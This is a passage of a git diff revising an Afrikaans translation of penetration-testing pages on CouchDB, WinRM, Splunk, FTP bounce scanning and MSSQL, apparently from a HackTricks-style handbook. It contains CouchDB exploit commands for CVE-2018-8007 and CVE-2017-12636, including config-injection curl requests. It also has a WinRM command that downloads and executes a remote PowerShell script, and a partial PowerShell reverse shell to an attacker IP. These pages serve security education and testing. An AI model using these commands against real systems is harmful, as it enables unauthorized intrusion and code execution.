replikaasie dokument toestande. Sluit inligting in oor al die dokumente, selfs in `completed` en `failed` toestande. Vir elke dokument retourneer dit die dokument ID, die databasis, die replikaasie ID, bron en teiken, en ander inligting. +- **`/_scheduler/docs`** Lys van replikaasie dokument state. Sluit inligting in oor al die dokumente, selfs in `completed` en `failed` state. Vir elke dokument retourneer dit die dokument ID, die databasis, die replikaasie ID, bron en teiken, en ander inligting. - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** - **`/_node/{node-name}`** Die `/_node/{node-name}` eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk te bevestig. Dit is die nuttigste wanneer jy toegang tot `/_node/_local` verkry om hierdie inligting te verkry. -- **`/_node/{node-name}/_stats`** Die `_stats` hulpbron retourneer 'n JSON objek wat die statistieke vir die lopende bediener bevat. Die letterlike string `_local` dien as 'n alias vir die plaaslike node naam, so vir al die stats URL's, kan `{node-name}` vervang word met `_local`, om met die plaaslike node se statistieke te kommunikeer. -- **`/_node/{node-name}/_system`** Die \_systemhulpbron retourneer 'n JSON objek wat verskeie stelselniveau statistieke vir die lopende bediener bevat. Jy kan \_\_`_local` as {node-name} gebruik om huidige node inligting te verkry. +- **`/_node/{node-name}/_stats`** Die `_stats` hulpbron retourneer 'n JSON objek wat die statistieke vir die lopende bediener bevat. Die letterlike string `_local` dien as 'n alias vir die plaaslike node naam, so vir al die statistiek URL's, kan `{node-name}` vervang word met `_local`, om met die plaaslike node se statistieke te kommunikeer. +- **`/_node/{node-name}/_system`** Die \_system hulpbron retourneer 'n JSON objek wat verskeie stelselniveau statistieke vir die lopende bediener bevat. Jy kan \_\_`_local` as {node-name} gebruik om huidige node inligting te verkry. - **`/_node/{node-name}/_restart`** - **`/_up`** Bevestig dat die bediener aan is, loop, en gereed is om op versoeke te reageer. As [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` of `nolb` is, sal die eindpunt 'n 404 antwoord teruggee. -- \*\*`/_uuids`\*\*Versoek een of meer Universally Unique Identifiers (UUIDs) van die CouchDB instansie. -- \*\*`/_reshard`\*\*Retourneer 'n telling van voltooide, mislukte, lopende, gestopte, en totale take saam met die toestand van herskakeling op die kluster. +- **`/_uuids`** Versoek een of meer Universally Unique Identifiers (UUIDs) van die CouchDB instansie. +- **`/_reshard`** Retourneer 'n telling van voltooide, mislukte, lopende, gestopte, en totale take saam met die toestand van herskakeling op die kluster. Meer interessante inligting kan onttrek word soos hier verduidelik: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) @@ -59,19 +59,19 @@ Meer interessante inligting kan onttrek word soos hier verduidelik: [https://lzo ``` curl -X GET http://IP:5984/_all_dbs ``` -As die versoek **met 'n 401 ongeoorloofde antwoord**, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry: +As die versoek **antwoord gee met 'n 401 nie-geautoriseer**, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` Om geldige Kredensiale te vind, kan jy **probeer om** [**die diens te bruteforce**](../generic-hacking/brute-force.md#couchdb). -Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg voorregte** het om databasisse te lys (Dit is net 'n lys van dbs): +Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg regte** het om databasisse te lys (Dit is net 'n lys van dbs): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### Databasis Inligting -Jy kan 'n paar databasisinligting verkry (soos die aantal lĂȘers en groottes) deur toegang te verkry tot die databasisnaam: +Jy kan 'n paar databasisinligting verkry (soos aantal lĂȘers en groottes) deur toegang te verkry tot die databasisnaam: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons @@ -118,7 +118,7 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -In die CouchDB dokumentasie, spesifiek in die afdeling wat cluster opstelling betref ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), word die gebruik van poorte deur CouchDB in 'n kluster modus bespreek. Daar word genoem dat, soos in standalone modus, poort `5984` gebruik word. Boonop is poort `5986` vir node-lokale API's, en belangrik, Erlang vereis TCP poort `4369` vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie binne 'n Erlang kluster fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node verbind is. +In die CouchDB dokumentasie, spesifiek in die afdeling wat cluster opstelling betref ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), word die gebruik van poorte deur CouchDB in 'n kluster modus bespreek. Daar word genoem dat, soos in die standalone modus, poort `5984` gebruik word. Boonop is poort `5986` vir node-lokale API's, en belangrik, Erlang vereis TCP poort `4369` vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie binne 'n Erlang kluster fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node verbind is. 'n Belangrike sekuriteitsadvies word beklemtoon rakende poort `4369`. As hierdie poort oor die Internet of enige onbetroubare netwerk toeganklik gemaak word, hang die stelselsekuriteit sterk af van 'n unieke identifiseerder bekend as die "koekie." Hierdie koekie dien as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys, kan die koekie met die naam "monster" waargeneem word, wat sy operasionele rol in die stelselsekuriteitsraamwerk aandui. ``` @@ -129,13 +129,13 @@ homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bi ``` Vir diegene wat belangstel om te verstaan hoe hierdie "cookie" vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels uitgebuit kan word, is daar 'n toegewyde afdeling beskikbaar vir verdere lees. Dit beskryf die metodologieĂ« om Erlang-cookies op ongeoorloofde maniere te benut om beheer oor stelsels te verkry. U kan [**die gedetailleerde gids oor die misbruik van Erlang-cookies vir RCE hier verken**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). -### **Exploiteer CVE-2018-8007 deur die aanpassing van local.ini** +### **Die uitbuiting van CVE-2018-8007 deur die wysiging van local.ini** Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, wat onthul dat uitbuiting skryfrechten tot die `local.ini`-lĂȘer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is aanpassings gemaak om skryfrechten aan die `local.ini`-lĂȘer toe te ken vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer. +'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, en dit het getoon dat uitbuiting skryfrechten tot die `local.ini`-lĂȘer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is wysigings aangebring om skryfrechten aan die `local.ini`-lĂȘer toe te ken vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer. -Eerstens, die omgewing word voorberei deur te verseker dat die `local.ini`-lĂȘer skryfbaar is, wat geverifieer word deur die regte te lys: +Eerstens word die omgewing voorberei deur te verseker dat die `local.ini`-lĂȘer skryfbaar is, wat geverifieer word deur die regte te lys: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini @@ -143,7 +143,7 @@ root@canape:/home/homer/etc# ls -l -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` -Om die kwesbaarheid te benut, word 'n curl-opdrag uitgevoer, wat die `cors/origins` konfigurasie in `local.ini` teiken. Dit voeg 'n nuwe oorsprong saam met addisionele opdragte onder die `[os_daemons]` afdeling in, met die doel om arbitrĂȘre kode uit te voer: +Om die kwesbaarheid te benut, word 'n curl-opdrag uitgevoer, wat die `cors/origins` konfigurasie in `local.ini` teiken. Dit spuit 'n nuwe oorsprong in saam met addisionele opdragte onder die `[os_daemons]` afdeling, met die doel om arbitrĂȘre kode uit te voer: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` @@ -156,17 +156,17 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` -Aanvanklik bestaan die verwagte lĂȘer (`/tmp/0xdf`) nie, wat aandui dat die ingespotte opdrag nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat verband hou met CouchDB aan die gang is, insluitend een wat moontlik die ingespotte opdrag kan uitvoer: +In die begin bestaan die verwagte lĂȘer (`/tmp/0xdf`) nie, wat aandui dat die ingespotte opdrag nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat met CouchDB verband hou, aan die gang is, insluitend een wat moontlik die ingespotte opdrag kan uitvoer: ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` -Deur die geĂŻdentifiseerde CouchDB-proses te beĂ«indig en die stelsel toe te laat om dit outomaties te herbegin, word die uitvoering van die ingespotte opdrag geaktiveer, bevestig deur die bestaan van die voorheen ontbrekende lĂȘer: +Deur die geĂŻdentifiseerde CouchDB-proses te beĂ«indig en die stelsel toe te laat om dit outomaties te herbegin, word die uitvoering van die ingespoten opdrag geaktiveer, bevestig deur die bestaan van die voorheen ontbrekende lĂȘer: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` -Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke omstandighede, veral die vereiste vir skryfbare toegang tot die `local.ini`-lĂȘer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids om die uitbuiting in 'n beheerde omgewing te herhaal. +Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke toestande, veral die vereiste vir skryfbare toegang tot die `local.ini`-lĂȘer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids vir die replisering van die uitbuiting in 'n beheerde omgewing. Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). @@ -174,7 +174,7 @@ Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2 Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad: +'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB-weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ @@ -193,7 +193,7 @@ Verdere ondersoek het toestemmingkwessies met die `local.ini` lĂȘer, wat nie skr cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` -Subsequent pogings om die query server by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini` lĂȘer is bevestig deur lĂȘervergelyking: +Subsequent pogings om die navraag bediener by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini` lĂȘer is bevestig deur lĂȘervergelyking: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` @@ -203,7 +203,7 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` -'n [**samevatting**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) met 'n alternatiewe payload bied verdere insigte in die ontginning van CVE-2017-12636 onder spesifieke omstandighede. **Nuttige hulpbronne** vir die ontginning van hierdie kwesbaarheid sluit in: +'n [**opsomming**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) met 'n alternatiewe payload bied verdere insigte in die benutting van CVE-2017-12636 onder spesifieke omstandighede. **Nuttige hulpbronne** vir die benutting van hierdie kwesbaarheid sluit in: - [POC exploit kode](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [Exploit Database inskrywing](https://www.exploit-db.com/exploits/44913/) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 260f9b399..a721c54ca 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -6,7 +6,7 @@ [Windows Remote Management (WinRM)]() word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied. -Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandadministrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk: +Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik om eenvoudige afstandadministrasie via PowerShell te doen, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -15,22 +15,22 @@ Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afs ### **Inisieer 'n WinRM-sessie** -Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertroulik aan te dui: -```powershell +Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te stel en enige gasheer as vertrou te merk: +```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Hierdie benadering behels die toevoeging van 'n wildcard aan die `trustedhosts` konfigurasie, 'n stap wat versigtige oorweging vereis weens die implikasies daarvan. Dit word ook opgemerk dat dit nodig mag wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien. Boonop kan WinRM **afgeleĂ« geaktiveer** word met die `wmic` opdrag, soos hieronder gedemonstreer: -```powershell +```bash wmic /node: process call create "powershell enable-psremoting -force" ``` Hierdie metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamheid in die bestuur van Windows-masjiene van ver verbeter. ### Toets of geconfigureer -Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kontroleer of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer: +Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kyk of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer: - Vir 'n teiken wat **is** korrek geconfigureer, sal die uitvoer soos volg lyk: ```bash @@ -40,34 +40,34 @@ Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui ![](<../images/image (582).png>) -- Omgekeerd, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon. +- Aan die ander kant, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon. ![](<../images/image (458).png>) ### Voer 'n opdrag uit Om `ipconfig` op 'n teikenmasjien op afstand uit te voer en die uitvoer te sien, doen: -```powershell +```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **in 'n afstandrekenaar uitvoer**, jy kan doen: -```powershell +```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Voer 'n Skrip uit -```powershell +```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` -### Kry omgekeerde-skaal -```powershell +### Kry omgekeerde dop +```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Kry 'n PS-sessie Om 'n interaktiewe PowerShell-sessie te kry, gebruik `Enter-PSSession`: -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -87,16 +87,16 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New **Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop** -### **WinRM Dwing om Oop te wees** +### **WinRM Dwing om Oop te Wees** Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met: -```powershell +```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Stoor en Herstel sessies Dit **sal nie werk nie** as die **taal** op die afstandrekenaar **beperk** is. -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -108,7 +108,7 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi Enter-PSSession -Session $sess1 ``` Binne hierdie sessies kan jy PS-skripte laai met behulp van _Invoke-Command_ -```powershell +```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Foute diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 423015ecf..3723c3dbe 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -4,7 +4,7 @@ ## **Basiese Inligting** -- Log analitiese hulpmiddel wat gebruik word vir data versameling, analise, en visualisering +- Log analitiese hulpmiddel wat gebruik word vir data insameling, analise, en visualisering - Gewoonlik gebruik in sekuriteitsmonitering en besigheidsanalise - Standaard poorte: - Webbediener: 8000 @@ -15,7 +15,7 @@ 1. Gratis Weergawe Exploitatie - Proefweergawe omskakel outomaties na gratis weergawe na 60 dae -- Gratis weergawe het nie outentisering nie +- Gratis weergawe ontbreek outentisering - PotensiĂ«le sekuriteitsrisiko as dit onbeheerd gelaat word - Administrateurs mag sekuriteitsimplikasies oor die hoof sien @@ -30,24 +30,24 @@ - Meerdere kode uitvoeringsmetodes: - Bediener-kant Django toepassings - REST eindpunte -- Geskrifte insette -- Waarskuwing skrifte +- Geskrewe insette +- Waarskuwingskripte - Kruis-platform ondersteuning (Windows/Linux) -- Geskrifte insette kan loop: -- Bash skrifte -- PowerShell skrifte -- Batch skrifte +- Geskrewe insette kan loop: +- Bash skripte +- PowerShell skripte +- Batch skripte Sleutel Exploitatie Potensiaal: - Sensitiewe data stoor - Gebrek aan outentisering in gratis weergawe - Meerdere vektore vir potensiĂ«le afgeleĂ« kode uitvoering -- Moontlikheid om geskrifte insette te benut vir stelselskompromie +- Moontlikheid om geskrewe insette te benut vir stelselskompromie ### Shodan -- `Splunk bou` +- `Splunk build` ## RCE @@ -55,7 +55,7 @@ Sleutel Exploitatie Potensiaal: Splunk bied 'n gesofistikeerde metode vir afgeleĂ« kode uitvoering deur middel van aangepaste toepassingsontplooiing, wat sy kruis-platform skripting vermoĂ«ns benut. Die kern exploitatie tegniek draai om die skep van 'n kwaadwillige toepassing wat omgekeerde skale op beide Windows en Linux stelsels kan uitvoer. -'n Aangepaste toepassing kan **Python, Batch, Bash, of PowerShell skrifte** uitvoer. Boonop, **Splunk kom met Python geĂŻnstalleer**, so selfs in **Windows** stelsels sal jy in staat wees om python kode uit te voer. +'n Aangepaste toepassing kan **Python, Batch, Bash, of PowerShell skripte** uitvoer. Boonop, **Splunk kom met Python geĂŻnstalleer**, so selfs in **Windows** stelsels sal jy in staat wees om python kode uit te voer. Jy kan [**hierdie**](https://github.com/0xjpuff/reverse_shell_splunk) voorbeeld gebruik met die **`bin`** wat 'n voorbeeld bevat vir [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) en [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Of jy kan jou eie skep. @@ -76,10 +76,10 @@ Ontplooiing is eenvoudig: 1. Skep die kwaadwillige toepassingspakket 2. Stel 'n luisteraar (Netcat/socat) op die aanvalmasjien op 3. Laai die toepassing op deur Splunk se koppelvlak -4. Trigger outomatiese skripuitvoering by oplaai +4. Trigger outomatiese skripuitvoering by opgelaai Voorbeeld Windows PowerShell omgekeerde skulp: -```powershell +```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index f3e4a9880..b9e560cee 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -7,19 +7,19 @@ ### Handmatig 1. Verbinde met kwesbare FTP -2. Gebruik \*\*`PORT`\*\* of **`EPRT`** (maar net 1 van hulle) om 'n verbinding te maak met die _\_ wat jy wil skandeer: +2. Gebruik **`PORT`** of **`EPRT`** (maar net 1 van hulle) om 'n verbinding te maak met die _\_ wat jy wil skandeer: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` -3. Gebruik **`LIST`** (dit sal net die lys van huidige lĂȘers in die FTP-gids na die gekonnekteerde _\_ stuur) en kyk vir die moontlike antwoorde: `150 File status okay` (Dit beteken die poort is oop) of `425 No connection established` (Dit beteken die poort is toe) +3. Gebruik **`LIST`** (dit sal net die lys van huidige lĂȘers in die FTP-gids na die gekonnekte _\_ stuur) en kyk vir die moontlike antwoorde: `150 File status okay` (Dit beteken die poort is oop) of `425 No connection established` (Dit beteken die poort is gesluit) 1. In plaas van `LIST` kan jy ook **`RETR /file/in/ftp`** gebruik en soek na soortgelyke `Open/Close` antwoorde. -Voorbeeld met **PORT** (poort 8080 van 172.32.80.80 is oop en poort 7777 is toe): +Voorbeeld met **PORT** (poort 8080 van 172.32.80.80 is oop en poort 7777 is gesluit): ![](<../../images/image (241).png>) -Selfde voorbeeld met **`EPRT`** (authentisering weggelaat in die beeld): +Dieselfde voorbeeld met **`EPRT`** (authentisering weggelaat in die beeld): ![](<../../images/image (539).png>) diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index da01f1217..5c063c800 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primĂȘre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop. +> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primĂȘre funksie om data te stoor en te onttrek soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop. **Standaard poort:** 1433 ``` @@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Databasis**: Hierdie databasis is van kardinale belang aangesien dit alle stelselniveau besonderhede vir 'n SQL Server-instansie vasvang. - **msdb Databasis**: SQL Server Agent gebruik hierdie databasis om skedulering vir waarskuwings en take te bestuur. -- **model Databasis**: Dien as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollasies, herstelmodel, en meer weerspieĂ«l word in nuut geskepte databasisse. -- **Resource Databasis**: 'n Lees-alleen databasis wat stelselaanwysers bevat wat saam met SQL Server kom. Hierdie voorwerpe, terwyl dit fisies in die Resource databasis gestoor word, word logies in die sys skema van elke databasis aangebied. +- **model Databasis**: Diena as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollasies, herstelmodel, en meer weerspieĂ«l word in nuut geskepte databasisse. +- **Resource Databasis**: 'n Lees-slegs databasis wat stelselaanwysers bevat wat saam met SQL Server kom. Hierdie voorwerpe, terwyl dit fisies in die Resource databasis gestoor word, word logies in die sys skema van elke databasis aangebied. - **tempdb Databasis**: Dien as 'n tydelike stoorarea vir tydelike voorwerpe of tussenresultate. ## Enumerasie @@ -157,12 +157,12 @@ SELECT * FROM sysusers 1. **Securable:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangbeheer. Hierdie word gekategoriseer in: - **Server** – Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en server rolle in. -- **Database** – Voorbeelde dek databasisrol, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers. +- **Database** – Voorbeelde dek databasis rolle, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers. - **Schema** – Sluit tafels, weergawes, prosedures, funksies, sinonieme, ens. in. 2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n hoof toegeken word. Bestuur van toestemmings vind op twee vlakke plaas: - **Server Vlak** met behulp van aanmeldings - **Database Vlak** met behulp van gebruikers -3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming ontvang om 'n securable te gebruik. Hoofde sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit. +3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming ontvang om toegang te verkry tot 'n securable. Hoofde sluit hoofsaaklik aanmeldings en databasis gebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Voer OS Opdragte Uit > [!CAUTION] -> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hĂȘ nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hĂȘ. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met: +> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hĂȘ om opdragte uit te voer nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` 